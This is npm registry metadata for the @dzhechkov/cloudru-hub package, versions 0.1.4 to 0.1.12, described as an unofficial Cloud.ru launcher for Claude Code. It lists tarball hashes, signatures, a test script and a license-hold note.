{"_id":"@dzhechkov/cloudru-hub","_rev":"9-dc0fbf0baddea25a5d2bff19d03f4a47","name":"@dzhechkov/cloudru-hub","dist-tags":{"latest":"0.1.12"},"versions":{"0.1.4":{"name":"@dzhechkov/cloudru-hub","version":"0.1.4","keywords":["cloudru","cloud-ru","evolution","mcp","claude","claude-code","deploy","vps","unofficial"],"author":{"name":"dzhechko"},"license":"MIT","_id":"@dzhechkov/cloudru-hub@0.1.4","maintainers":[{"name":"dzhechkov","email":"jechkov.dmitriy@gmail.com"}],"homepage":"https://github.com/djd1m/dz-harness-hub/tree/main/packages/@dzhechkov/cloudru-hub#readme","bugs":{"url":"https://github.com/djd1m/dz-harness-hub/issues"},"bin":{"cloudru-hub":"bin/cloudru-hub.js"},"dist":{"shasum":"85ac60c77b3c40b4e6eb9199d58111b914ec4486","tarball":"https://registry.npmjs.org/@dzhechkov/cloudru-hub/-/cloudru-hub-0.1.4.tgz","fileCount":26,"integrity":"sha512-g7UyMAx/ocFSyoBaXGFC8cVmjSq84UqzB6csRZt7m6cVXRvQXZZsAR4QUJ6xXqBZACXXHgr7Xm+s9ll+873fLQ==","signatures":[{"sig":"MEUCIBb8jT93neGLjdV6shCWOSzSsIJ/TVIkFOEWbHRQ83n/AiEAjeonDC6MpgkQlQqoKn9Q9WmcixoUkt6ZIYw2IHXPFmE=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":193856},"main":"src/cli.js","_from":"file:dzhechkov-cloudru-hub-0.1.4.tgz","engines":{"node":">=18.0.0"},"scripts":{"test":"node --test 'test/*.test.mjs'"},"_npmUser":{"name":"dzhechkov","email":"jechkov.dmitriy@gmail.com"},"_resolved":"/tmp/2f5b6c8518fb97fda98b3d6041d5e90d/dzhechkov-cloudru-hub-0.1.4.tgz","_integrity":"sha512-g7UyMAx/ocFSyoBaXGFC8cVmjSq84UqzB6csRZt7m6cVXRvQXZZsAR4QUJ6xXqBZACXXHgr7Xm+s9ll+873fLQ==","cloudruHub":{"binaryHashes":{"linux-x64":"59f83fc0678b95146ca539764d0c805bd2514b8588f198c1e835b26e54c05124"},"engineVersion":"cloudru-vm 0.2.3-20260718","platformPackages":{"linux-x64":"@dzhechkov/cloudru-vm-linux-x64"}},"repository":{"url":"git+https://github.com/djd1m/dz-harness-hub.git","type":"git","directory":"packages/@dzhechkov/cloudru-hub"},"_npmVersion":"10.9.4","description":"Unofficial Cloud.ru Evolution launcher for Claude Code and harness-cli targets: thin JS launcher for the cloudru-vm MCP engine (144 tools), per-target installers with a deterministic paid-step brake (permission ask/deny + PreToolUse veto hooks), and skill","directories":{},"licenseHold":{"adr":"features/hermes-claude-adaptation/03_adr/001-licence-and-provenance-precondition.md","note":"SATISFIED hold (ADR-001 AM-2, grant recorded 2026-08-12 — see grant-record-2026-08-12.md). The field deliberately STAYS: the dz guard `licence-hold` rule passes a satisfied hold with the trigger in place and keeps verifying LICENSE (no PENDING placeholder, Grant-Confirmation URL), THIRD_PARTY_NOTICES and the SPDX license field on every publish. test/pack-holds.test.mjs goes RED if this field is dropped or the LICENSE grant record is degraded."},"_nodeVersion":"22.22.0","publishConfig":{"access":"public"},"_hasShrinkwrap":false,"_npmOperationalInternal":{"tmp":"tmp/cloudru-hub_0.1.4_1786545984800_0.8327699239870687","host":"s3://npm-registry-packages-npm-production"}},"0.1.5":{"name":"@dzhechkov/cloudru-hub","version":"0.1.5","keywords":["cloudru","cloud-ru","evolution","mcp","claude","claude-code","deploy","vps","unofficial"],"author":{"name":"dzhechko"},"license":"MIT","_id":"@dzhechkov/cloudru-hub@0.1.5","maintainers":[{"name":"dzhechkov","email":"jechkov.dmitriy@gmail.com"}],"homepage":"https://github.com/djd1m/dz-harness-hub/tree/main/packages/@dzhechkov/cloudru-hub#readme","bugs":{"url":"https://github.com/djd1m/dz-harness-hub/issues"},"bin":{"cloudru-hub":"bin/cloudru-hub.js"},"dist":{"shasum":"3ef044a719d4b2e0a9de19a756b69c24b5c88f77","tarball":"https://registry.npmjs.org/@dzhechkov/cloudru-hub/-/cloudru-hub-0.1.5.tgz","fileCount":26,"integrity":"sha512-ZeNNlgWzRBzgwmmHZ81v5a/WKl6dBH9P2SYliPjNkMGiX1U5AeW0MUj/l+hcWePlyYc08sWP3jtEpgz3CeSOCQ==","signatures":[{"sig":"MEYCIQCDhjZrpRrnFSI7X4ioS2IPLLKn7bG/mDzGszLteNHMAAIhAIDRMehQmgalScg0FbOXhXmtlVbbcpebsp5hye6MfJlQ","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":194420},"main":"src/cli.js","_from":"file:dzhechkov-cloudru-hub-0.1.5.tgz","engines":{"node":">=18.0.0"},"scripts":{"test":"node --test 'test/*.test.mjs'"},"_npmUser":{"name":"dzhechkov","email":"jechkov.dmitriy@gmail.com"},"_resolved":"/tmp/21bac1cea2ac050278d29b5b69ab671f/dzhechkov-cloudru-hub-0.1.5.tgz","_integrity":"sha512-ZeNNlgWzRBzgwmmHZ81v5a/WKl6dBH9P2SYliPjNkMGiX1U5AeW0MUj/l+hcWePlyYc08sWP3jtEpgz3CeSOCQ==","cloudruHub":{"binaryHashes":{"linux-x64":"59f83fc0678b95146ca539764d0c805bd2514b8588f198c1e835b26e54c05124"},"engineVersion":"cloudru-vm 0.2.3-20260718","platformPackages":{"linux-x64":"@dzhechkov/cloudru-vm-linux-x64"}},"repository":{"url":"git+https://github.com/djd1m/dz-harness-hub.git","type":"git","directory":"packages/@dzhechkov/cloudru-hub"},"_npmVersion":"10.9.4","description":"Unofficial Cloud.ru Evolution launcher for Claude Code and harness-cli targets: thin JS launcher for the cloudru-vm MCP engine (144 tools), per-target installers with a deterministic paid-step brake (permission ask/deny + PreToolUse veto hooks), and skill","directories":{},"licenseHold":{"adr":"features/hermes-claude-adaptation/03_adr/001-licence-and-provenance-precondition.md","note":"SATISFIED hold (ADR-001 AM-2, grant recorded 2026-08-12 — see grant-record-2026-08-12.md). The field deliberately STAYS: the dz guard `licence-hold` rule passes a satisfied hold with the trigger in place and keeps verifying LICENSE (no PENDING placeholder, Grant-Confirmation URL), THIRD_PARTY_NOTICES and the SPDX license field on every publish. test/pack-holds.test.mjs goes RED if this field is dropped or the LICENSE grant record is degraded."},"_nodeVersion":"22.22.0","publishConfig":{"access":"public"},"_hasShrinkwrap":false,"_npmOperationalInternal":{"tmp":"tmp/cloudru-hub_0.1.5_1787244477642_0.48827736734139005","host":"s3://npm-registry-packages-npm-production"}},"0.1.6":{"name":"@dzhechkov/cloudru-hub","version":"0.1.6","keywords":["cloudru","cloud-ru","evolution","mcp","claude","claude-code","deploy","vps","unofficial"],"author":{"name":"dzhechko"},"license":"MIT","_id":"@dzhechkov/cloudru-hub@0.1.6","maintainers":[{"name":"dzhechkov","email":"jechkov.dmitriy@gmail.com"}],"homepage":"https://github.com/djd1m/dz-harness-hub/tree/main/packages/@dzhechkov/cloudru-hub#readme","bugs":{"url":"https://github.com/djd1m/dz-harness-hub/issues"},"bin":{"cloudru-hub":"bin/cloudru-hub.js"},"dist":{"shasum":"b912caf0448150c9ededd047d4037422a1b2ae0c","tarball":"https://registry.npmjs.org/@dzhechkov/cloudru-hub/-/cloudru-hub-0.1.6.tgz","fileCount":26,"integrity":"sha512-tYM7gNf5p6q+WB+/016WLuznE+B4N7Mx5EuP7sP9/WAF050TVw6puZfrfdTH69O0uT1bjaItXfcvmN9gW3o4XA==","signatures":[{"sig":"MEUCIHx8KGU7oISgd8aPmpRRekznkU+LsmB8dip9hzVTnWZdAiEAlAGEF5f7DMZjTeGxbNtfgnjYhFQnaac3EczAOT6VCRg=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":194682},"main":"src/cli.js","_from":"file:dzhechkov-cloudru-hub-0.1.6.tgz","engines":{"node":">=18.0.0"},"scripts":{"test":"node --test 'test/*.test.mjs'"},"_npmUser":{"name":"dzhechkov","email":"jechkov.dmitriy@gmail.com"},"_resolved":"/tmp/9baa9ba17b1e012629c32eca42eae24d/dzhechkov-cloudru-hub-0.1.6.tgz","_integrity":"sha512-tYM7gNf5p6q+WB+/016WLuznE+B4N7Mx5EuP7sP9/WAF050TVw6puZfrfdTH69O0uT1bjaItXfcvmN9gW3o4XA==","cloudruHub":{"binaryHashes":{"linux-x64":"59f83fc0678b95146ca539764d0c805bd2514b8588f198c1e835b26e54c05124"},"engineVersion":"cloudru-vm 0.2.3-20260718","platformPackages":{"linux-x64":"@dzhechkov/cloudru-vm-linux-x64"}},"repository":{"url":"git+https://github.com/djd1m/dz-harness-hub.git","type":"git","directory":"packages/@dzhechkov/cloudru-hub"},"_npmVersion":"10.9.4","description":"Unofficial Cloud.ru Evolution launcher for Claude Code and harness-cli targets: thin JS launcher for the cloudru-vm MCP engine (144 tools), per-target installers with a deterministic paid-step brake (permission ask/deny + PreToolUse veto hooks), and skill","directories":{},"licenseHold":{"adr":"features/hermes-claude-adaptation/03_adr/001-licence-and-provenance-precondition.md","note":"SATISFIED hold (ADR-001 AM-2, grant recorded 2026-08-12 — see grant-record-2026-08-12.md). The field deliberately STAYS: the dz guard `licence-hold` rule passes a satisfied hold with the trigger in place and keeps verifying LICENSE (no PENDING placeholder, Grant-Confirmation URL), THIRD_PARTY_NOTICES and the SPDX license field on every publish. test/pack-holds.test.mjs goes RED if this field is dropped or the LICENSE grant record is degraded."},"_nodeVersion":"22.22.0","publishConfig":{"access":"public"},"_hasShrinkwrap":false,"_npmOperationalInternal":{"tmp":"tmp/cloudru-hub_0.1.6_1787244932209_0.14465175060890756","host":"s3://npm-registry-packages-npm-production"}},"0.1.7":{"name":"@dzhechkov/cloudru-hub","version":"0.1.7","keywords":["cloudru","cloud-ru","evolution","mcp","claude","claude-code","deploy","vps","unofficial"],"author":{"name":"dzhechko"},"license":"MIT","_id":"@dzhechkov/cloudru-hub@0.1.7","maintainers":[{"name":"dzhechkov","email":"jechkov.dmitriy@gmail.com"}],"homepage":"https://github.com/djd1m/dz-harness-hub/tree/main/packages/@dzhechkov/cloudru-hub#readme","bugs":{"url":"https://github.com/djd1m/dz-harness-hub/issues"},"bin":{"cloudru-hub":"bin/cloudru-hub.js"},"dist":{"shasum":"efb855b6adbad07b722bbce33b4f26fcef0fd6dc","tarball":"https://registry.npmjs.org/@dzhechkov/cloudru-hub/-/cloudru-hub-0.1.7.tgz","fileCount":26,"integrity":"sha512-VCYb7GvO1IyViW31nOtaolrQCg2XZb0Qkyvvjsboan40Eja5PcJfOD/jHiP/oG7bqng5C616uCe9kI006e48Ww==","signatures":[{"sig":"MEUCIQDsSBNxqYyv4dHIeztJT4Ih5Y+KyrTsVJueCQYjetVEugIgBT2TowHRdqPjz7FFGb/2JDXojYnOaNfGL3C3cWkoxf4=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":194682},"main":"src/cli.js","_from":"file:dzhechkov-cloudru-hub-0.1.7.tgz","engines":{"node":">=18.0.0"},"scripts":{"test":"node --test 'test/*.test.mjs'"},"_npmUser":{"name":"dzhechkov","email":"jechkov.dmitriy@gmail.com"},"_resolved":"/tmp/ccddb70a58cf917bdb0be5eb4b2a5854/dzhechkov-cloudru-hub-0.1.7.tgz","_integrity":"sha512-VCYb7GvO1IyViW31nOtaolrQCg2XZb0Qkyvvjsboan40Eja5PcJfOD/jHiP/oG7bqng5C616uCe9kI006e48Ww==","cloudruHub":{"binaryHashes":{"linux-x64":"59f83fc0678b95146ca539764d0c805bd2514b8588f198c1e835b26e54c05124"},"engineVersion":"cloudru-vm 0.2.3-20260718","platformPackages":{"linux-x64":"@dzhechkov/cloudru-vm-linux-x64"}},"repository":{"url":"git+https://github.com/djd1m/dz-harness-hub.git","type":"git","directory":"packages/@dzhechkov/cloudru-hub"},"_npmVersion":"10.9.4","description":"Unofficial Cloud.ru Evolution launcher for Claude Code and harness-cli targets: thin JS launcher for the cloudru-vm MCP engine (144 tools), per-target installers with a deterministic paid-step brake (permission ask/deny + PreToolUse veto hooks), and skill","directories":{},"licenseHold":{"adr":"features/hermes-claude-adaptation/03_adr/001-licence-and-provenance-precondition.md","note":"SATISFIED hold (ADR-001 AM-2, grant recorded 2026-08-12 — see grant-record-2026-08-12.md). The field deliberately STAYS: the dz guard `licence-hold` rule passes a satisfied hold with the trigger in place and keeps verifying LICENSE (no PENDING placeholder, Grant-Confirmation URL), THIRD_PARTY_NOTICES and the SPDX license field on every publish. test/pack-holds.test.mjs goes RED if this field is dropped or the LICENSE grant record is degraded."},"_nodeVersion":"22.22.0","publishConfig":{"access":"public"},"_hasShrinkwrap":false,"_npmOperationalInternal":{"tmp":"tmp/cloudru-hub_0.1.7_1787632697512_0.8858832203719507","host":"s3://npm-registry-packages-npm-production"}},"0.1.8":{"name":"@dzhechkov/cloudru-hub","version":"0.1.8","keywords":["cloudru","cloud-ru","evolution","mcp","claude","claude-code","deploy","vps","unofficial"],"author":{"name":"dzhechko"},"license":"MIT","_id":"@dzhechkov/cloudru-hub@0.1.8","maintainers":[{"name":"dzhechkov","email":"jechkov.dmitriy@gmail.com"}],"homepage":"https://github.com/djd1m/dz-harness-hub/tree/main/packages/@dzhechkov/cloudru-hub#readme","bugs":{"url":"https://github.com/djd1m/dz-harness-hub/issues"},"bin":{"cloudru-hub":"bin/cloudru-hub.js"},"dist":{"shasum":"df4274c4b00b13a16c519422140a2fb542cc8e8f","tarball":"https://registry.npmjs.org/@dzhechkov/cloudru-hub/-/cloudru-hub-0.1.8.tgz","fileCount":26,"integrity":"sha512-6VRQGtWksBR6d0vp6NqBGU+Wxhmjm/tRIiIrCCrgJMhRrqirza7O/5wTSU/n9B7lpyNDayGdyLLLTkL/9j+QWg==","signatures":[{"sig":"MEYCIQDBxgRP+ficglg5hb8CFENmMYoaB/W20bVCxYkZ1UzXhwIhAPeSwHz2DRJOmEr/pI4+KSXJA6yZPp4NUBh5seJppprd","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":194819},"main":"src/cli.js","_from":"file:dzhechkov-cloudru-hub-0.1.8.tgz","engines":{"node":">=18.0.0"},"scripts":{"test":"node --test 'test/*.test.mjs'"},"_npmUser":{"name":"dzhechkov","email":"jechkov.dmitriy@gmail.com"},"_resolved":"/tmp/4cbd1b5ad59bcb7e5143265bcb9ab101/dzhechkov-cloudru-hub-0.1.8.tgz","_integrity":"sha512-6VRQGtWksBR6d0vp6NqBGU+Wxhmjm/tRIiIrCCrgJMhRrqirza7O/5wTSU/n9B7lpyNDayGdyLLLTkL/9j+QWg==","cloudruHub":{"binaryHashes":{"linux-x64":"59f83fc0678b95146ca539764d0c805bd2514b8588f198c1e835b26e54c05124"},"engineVersion":"cloudru-vm 0.2.3-20260718","platformPackages":{"linux-x64":"@dzhechkov/cloudru-vm-linux-x64"}},"repository":{"url":"git+https://github.com/djd1m/dz-harness-hub.git","type":"git","directory":"packages/@dzhechkov/cloudru-hub"},"_npmVersion":"10.9.4","description":"Unofficial Cloud.ru Evolution launcher for Claude Code and harness-cli targets: thin JS launcher for the cloudru-vm MCP engine (144 tools), per-target installers with a deterministic paid-step brake (permission ask/deny + PreToolUse veto hooks), and skill","directories":{},"licenseHold":{"adr":"features/hermes-claude-adaptation/03_adr/001-licence-and-provenance-precondition.md","note":"SATISFIED hold (ADR-001 AM-2, grant recorded 2026-08-12 — see grant-record-2026-08-12.md). The field deliberately STAYS: the dz guard `licence-hold` rule passes a satisfied hold with the trigger in place and keeps verifying LICENSE (no PENDING placeholder, Grant-Confirmation URL), THIRD_PARTY_NOTICES and the SPDX license field on every publish. test/pack-holds.test.mjs goes RED if this field is dropped or the LICENSE grant record is degraded."},"_nodeVersion":"22.22.0","publishConfig":{"access":"public"},"_hasShrinkwrap":false,"_npmOperationalInternal":{"tmp":"tmp/cloudru-hub_0.1.8_1787944266297_0.45761504065278036","host":"s3://npm-registry-packages-npm-production"}},"0.1.9":{"name":"@dzhechkov/cloudru-hub","version":"0.1.9","keywords":["cloudru","cloud-ru","evolution","mcp","claude","claude-code","deploy","vps","unofficial"],"author":{"name":"dzhechko"},"license":"MIT","_id":"@dzhechkov/cloudru-hub@0.1.9","maintainers":[{"name":"dzhechkov","email":"jechkov.dmitriy@gmail.com"}],"homepage":"https://github.com/djd1m/dz-harness-hub/tree/main/packages/@dzhechkov/cloudru-hub#readme","bugs":{"url":"https://github.com/djd1m/dz-harness-hub/issues"},"bin":{"cloudru-hub":"bin/cloudru-hub.js"},"dist":{"shasum":"7ce04ae05b551e4236183e38b9eeb4452b00adc3","tarball":"https://registry.npmjs.org/@dzhechkov/cloudru-hub/-/cloudru-hub-0.1.9.tgz","fileCount":26,"integrity":"sha512-hWuJ2RMcYLMx8j9qTIKxhkMIy3qKwVAmUYw+dfecwTo1Cdva24m7tBzYH6Jy04WiVBlmwQK6TJ1RfUncoq4dRg==","signatures":[{"sig":"MEUCIQCpngC04/aKzBAjPhJ+Fy0dX/1F8lc5z+gTrF5oWIjwuAIgXkL+jepDhn5dk2tzqG+XwabHWNNATXm5lncNtc9UveY=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":194819},"main":"src/cli.js","_from":"file:dzhechkov-cloudru-hub-0.1.9.tgz","engines":{"node":">=18.0.0"},"scripts":{"test":"node --test 'test/*.test.mjs'"},"_npmUser":{"name":"dzhechkov","email":"jechkov.dmitriy@gmail.com"},"_resolved":"/tmp/3b62d077293ffce187f2e39bdb911074/dzhechkov-cloudru-hub-0.1.9.tgz","_integrity":"sha512-hWuJ2RMcYLMx8j9qTIKxhkMIy3qKwVAmUYw+dfecwTo1Cdva24m7tBzYH6Jy04WiVBlmwQK6TJ1RfUncoq4dRg==","cloudruHub":{"binaryHashes":{"linux-x64":"59f83fc0678b95146ca539764d0c805bd2514b8588f198c1e835b26e54c05124"},"engineVersion":"cloudru-vm 0.2.3-20260718","platformPackages":{"linux-x64":"@dzhechkov/cloudru-vm-linux-x64"}},"repository":{"url":"git+https://github.com/djd1m/dz-harness-hub.git","type":"git","directory":"packages/@dzhechkov/cloudru-hub"},"_npmVersion":"10.9.4","description":"Unofficial Cloud.ru Evolution launcher for Claude Code and harness-cli targets: thin JS launcher for the cloudru-vm MCP engine (144 tools), per-target installers with a deterministic paid-step brake (permission ask/deny + PreToolUse veto hooks), and skill","directories":{},"licenseHold":{"adr":"features/hermes-claude-adaptation/03_adr/001-licence-and-provenance-precondition.md","note":"SATISFIED hold (ADR-001 AM-2, grant recorded 2026-08-12 — see grant-record-2026-08-12.md). The field deliberately STAYS: the dz guard `licence-hold` rule passes a satisfied hold with the trigger in place and keeps verifying LICENSE (no PENDING placeholder, Grant-Confirmation URL), THIRD_PARTY_NOTICES and the SPDX license field on every publish. test/pack-holds.test.mjs goes RED if this field is dropped or the LICENSE grant record is degraded."},"_nodeVersion":"22.22.0","publishConfig":{"access":"public"},"_hasShrinkwrap":false,"_npmOperationalInternal":{"tmp":"tmp/cloudru-hub_0.1.9_1787944653935_0.20827612891189506","host":"s3://npm-registry-packages-npm-production"}},"0.1.10":{"name":"@dzhechkov/cloudru-hub","version":"0.1.10","keywords":["cloudru","cloud-ru","evolution","mcp","claude","claude-code","deploy","vps","unofficial"],"author":{"name":"dzhechko"},"license":"MIT","_id":"@dzhechkov/cloudru-hub@0.1.10","maintainers":[{"name":"dzhechkov","email":"jechkov.dmitriy@gmail.com"}],"homepage":"https://github.com/djd1m/dz-harness-hub/tree/main/packages/@dzhechkov/cloudru-hub#readme","bugs":{"url":"https://github.com/djd1m/dz-harness-hub/issues"},"bin":{"cloudru-hub":"bin/cloudru-hub.js"},"dist":{"shasum":"bca8501ce4282e297d48e6d298909a1954a0acdb","tarball":"https://registry.npmjs.org/@dzhechkov/cloudru-hub/-/cloudru-hub-0.1.10.tgz","fileCount":26,"integrity":"sha512-zlWE+9jJ8ThkVbelgxojnj5uUE0McdfbWx3dh2j2Stugf4mzQAWwmbRaY+EAuXfVDkJIYAvif2RcmCAofHqNNA==","signatures":[{"sig":"MEUCIBIQibbmx1LKmYCpRSs6zUZuE3Y3mMZ20L7f6ERMvGJJAiEA9p5nV5+0ItTizc0HOKdPYLeC+TXNQfXfvPcd5ANmUgo=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":194820},"main":"src/cli.js","_from":"file:dzhechkov-cloudru-hub-0.1.10.tgz","engines":{"node":">=18.0.0"},"scripts":{"test":"node --test 'test/*.test.mjs'"},"_npmUser":{"name":"dzhechkov","email":"jechkov.dmitriy@gmail.com"},"_resolved":"/tmp/ab9df009762ac7564c86902f8ba32814/dzhechkov-cloudru-hub-0.1.10.tgz","_integrity":"sha512-zlWE+9jJ8ThkVbelgxojnj5uUE0McdfbWx3dh2j2Stugf4mzQAWwmbRaY+EAuXfVDkJIYAvif2RcmCAofHqNNA==","cloudruHub":{"binaryHashes":{"linux-x64":"59f83fc0678b95146ca539764d0c805bd2514b8588f198c1e835b26e54c05124"},"engineVersion":"cloudru-vm 0.2.3-20260718","platformPackages":{"linux-x64":"@dzhechkov/cloudru-vm-linux-x64"}},"repository":{"url":"git+https://github.com/djd1m/dz-harness-hub.git","type":"git","directory":"packages/@dzhechkov/cloudru-hub"},"_npmVersion":"10.9.4","description":"Unofficial Cloud.ru Evolution launcher for Claude Code and harness-cli targets: thin JS launcher for the cloudru-vm MCP engine (144 tools), per-target installers with a deterministic paid-step brake (permission ask/deny + PreToolUse veto hooks), and skill","directories":{},"licenseHold":{"adr":"features/hermes-claude-adaptation/03_adr/001-licence-and-provenance-precondition.md","note":"SATISFIED hold (ADR-001 AM-2, grant recorded 2026-08-12 — see grant-record-2026-08-12.md). The field deliberately STAYS: the dz guard `licence-hold` rule passes a satisfied hold with the trigger in place and keeps verifying LICENSE (no PENDING placeholder, Grant-Confirmation URL), THIRD_PARTY_NOTICES and the SPDX license field on every publish. test/pack-holds.test.mjs goes RED if this field is dropped or the LICENSE grant record is degraded."},"_nodeVersion":"22.22.0","publishConfig":{"access":"public"},"_hasShrinkwrap":false,"_npmOperationalInternal":{"tmp":"tmp/cloudru-hub_0.1.10_1788003561871_0.20540304938115161","host":"s3://npm-registry-packages-npm-production"}},"0.1.11":{"name":"@dzhechkov/cloudru-hub","version":"0.1.11","keywords":["cloudru","cloud-ru","evolution","mcp","claude","claude-code","deploy","vps","unofficial"],"author":{"name":"dzhechko"},"license":"MIT","_id":"@dzhechkov/cloudru-hub@0.1.11","maintainers":[{"name":"dzhechkov","email":"jechkov.dmitriy@gmail.com"}],"homepage":"https://github.com/djd1m/dz-harness/tree/main/packages/@dzhechkov/cloudru-hub#readme","bugs":{"url":"https://github.com/djd1m/dz-harness/issues"},"bin":{"cloudru-hub":"bin/cloudru-hub.js"},"dist":{"shasum":"9659b8daf49665f3ad6ab7e2bb1aae5f6808ff71","tarball":"https://registry.npmjs.org/@dzhechkov/cloudru-hub/-/cloudru-hub-0.1.11.tgz","fileCount":26,"integrity":"sha512-2eR0FDs3qsJOVxs+b0OC/S3AjtlpU8Jrj7kUPLOXLOYPzdY1lIsslV00e8WRYciCR6FhN8601NtDIseVf/MZGg==","signatures":[{"sig":"MEYCIQCmlo9uDFpmaXRpyKo5I+N5KvGztypLAsM8I/llIj6OdQIhAKhZcuebdlWLR/PK1Yn+tzx9RCF/GS/mB7ZeyPgSkZ3O","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":194812},"main":"src/cli.js","_from":"file:dzhechkov-cloudru-hub-0.1.11.tgz","engines":{"node":">=18.0.0"},"scripts":{"test":"node --test 'test/*.test.mjs'"},"_npmUser":{"name":"dzhechkov","email":"jechkov.dmitriy@gmail.com"},"_resolved":"/tmp/792ae0770f0bc10549b23be8c774903a/dzhechkov-cloudru-hub-0.1.11.tgz","_integrity":"sha512-2eR0FDs3qsJOVxs+b0OC/S3AjtlpU8Jrj7kUPLOXLOYPzdY1lIsslV00e8WRYciCR6FhN8601NtDIseVf/MZGg==","cloudruHub":{"binaryHashes":{"linux-x64":"59f83fc0678b95146ca539764d0c805bd2514b8588f198c1e835b26e54c05124"},"engineVersion":"cloudru-vm 0.2.3-20260718","platformPackages":{"linux-x64":"@dzhechkov/cloudru-vm-linux-x64"}},"repository":{"url":"git+https://github.com/djd1m/dz-harness.git","type":"git","directory":"packages/@dzhechkov/cloudru-hub"},"_npmVersion":"10.9.4","description":"Unofficial Cloud.ru Evolution launcher for Claude Code and harness-cli targets: thin JS launcher for the cloudru-vm MCP engine (144 tools), per-target installers with a deterministic paid-step brake (permission ask/deny + PreToolUse veto hooks), and skill","directories":{},"licenseHold":{"adr":"features/hermes-claude-adaptation/03_adr/001-licence-and-provenance-precondition.md","note":"SATISFIED hold (ADR-001 AM-2, grant recorded 2026-08-12 — see grant-record-2026-08-12.md). The field deliberately STAYS: the dz guard `licence-hold` rule passes a satisfied hold with the trigger in place and keeps verifying LICENSE (no PENDING placeholder, Grant-Confirmation URL), THIRD_PARTY_NOTICES and the SPDX license field on every publish. test/pack-holds.test.mjs goes RED if this field is dropped or the LICENSE grant record is degraded."},"_nodeVersion":"22.22.0","publishConfig":{"access":"public"},"_hasShrinkwrap":false,"_npmOperationalInternal":{"tmp":"tmp/cloudru-hub_0.1.11_1788025483734_0.5581030290563462","host":"s3://npm-registry-packages-npm-production"}},"0.1.12":{"_id":"@dzhechkov/cloudru-hub@0.1.12","bin":{"cloudru-hub":"bin/cloudru-hub.js"},"bugs":{"url":"https://github.com/djd1m/dz-harness/issues"},"dist":{"shasum":"8ae9146eaa6854e6cd8a92e1a5eeea6eb486560f","tarball":"https://registry.npmjs.org/@dzhechkov/cloudru-hub/-/cloudru-hub-0.1.12.tgz","fileCount":27,"integrity":"sha512-yPvvU/kpeWygjqcTnc1sc06Sd3wb8OK652d+N6tsQof5Pv1bzZf7SEjYJvnsp0f/EBUw2eEoNLEcpDjkKJHHeg==","signatures":[{"sig":"MEQCIG52q4zlX/DPn4Yjrfl332E7gm7j05d3OPiTjwTBtEP9AiANRPcR39biNznRVEaZoTDIHAQUZi3EJ1H5uqDPbw7sPw==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U","sig":"MEUCIC1tklqJcnQ/oBpSejYG0NDkhTvK/Z+KCPXTae22Y8KPAiEAsF+hI6ah1+AsuVV7/fQpBQVvUc5J0/AoD0Oq/cPednM="}],"unpackedSize":197007},"main":"src/cli.js","name":"@dzhechkov/cloudru-hub","_from":"file:dzhechkov-cloudru-hub-0.1.12.tgz","author":{"name":"dzhechko"},"engines":{"node":">=18.0.0"},"license":"MIT","scripts":{"test":"node --test 'test/*.test.mjs'"},"version":"0.1.12","_npmUser":{"name":"dzhechkov","email":"jechkov.dmitriy@gmail.com"},"homepage":"https://github.com/djd1m/dz-harness/tree/main/packages/@dzhechkov/cloudru-hub#readme","keywords":["cloudru","cloud-ru","evolution","mcp","claude","claude-code","deploy","vps","unofficial"],"_resolved":"/tmp/9be615b5b0a87c02e8c08c4feaa994b1/dzhechkov-cloudru-hub-0.1.12.tgz","_integrity":"sha512-yPvvU/kpeWygjqcTnc1sc06Sd3wb8OK652d+N6tsQof5Pv1bzZf7SEjYJvnsp0f/EBUw2eEoNLEcpDjkKJHHeg==","cloudruHub":{"binaryHashes":{"linux-x64":"59f83fc0678b95146ca539764d0c805bd2514b8588f198c1e835b26e54c05124"},"engineVersion":"cloudru-vm 0.2.3-20260718","platformPackages":{"linux-x64":"@dzhechkov/cloudru-vm-linux-x64"}},"repository":{"url":"git+https://github.com/djd1m/dz-harness.git","type":"git","directory":"packages/@dzhechkov/cloudru-hub"},"_npmVersion":"10.9.4","description":"Unofficial Cloud.ru Evolution launcher for Claude Code and harness-cli targets: thin JS launcher for the cloudru-vm MCP engine (144 tools), per-target installers with a deterministic paid-step brake (permission ask/deny + PreToolUse veto hooks), and skill","directories":{},"licenseHold":{"adr":"features/hermes-claude-adaptation/03_adr/001-licence-and-provenance-precondition.md","note":"SATISFIED hold (ADR-001 AM-2, grant recorded 2026-08-12 — see grant-record-2026-08-12.md). The field deliberately STAYS: the dz guard `licence-hold` rule passes a satisfied hold with the trigger in place and keeps verifying LICENSE (no PENDING placeholder, Grant-Confirmation URL), THIRD_PARTY_NOTICES and the SPDX license field on every publish. test/pack-holds.test.mjs goes RED if this field is dropped or the LICENSE grant record is 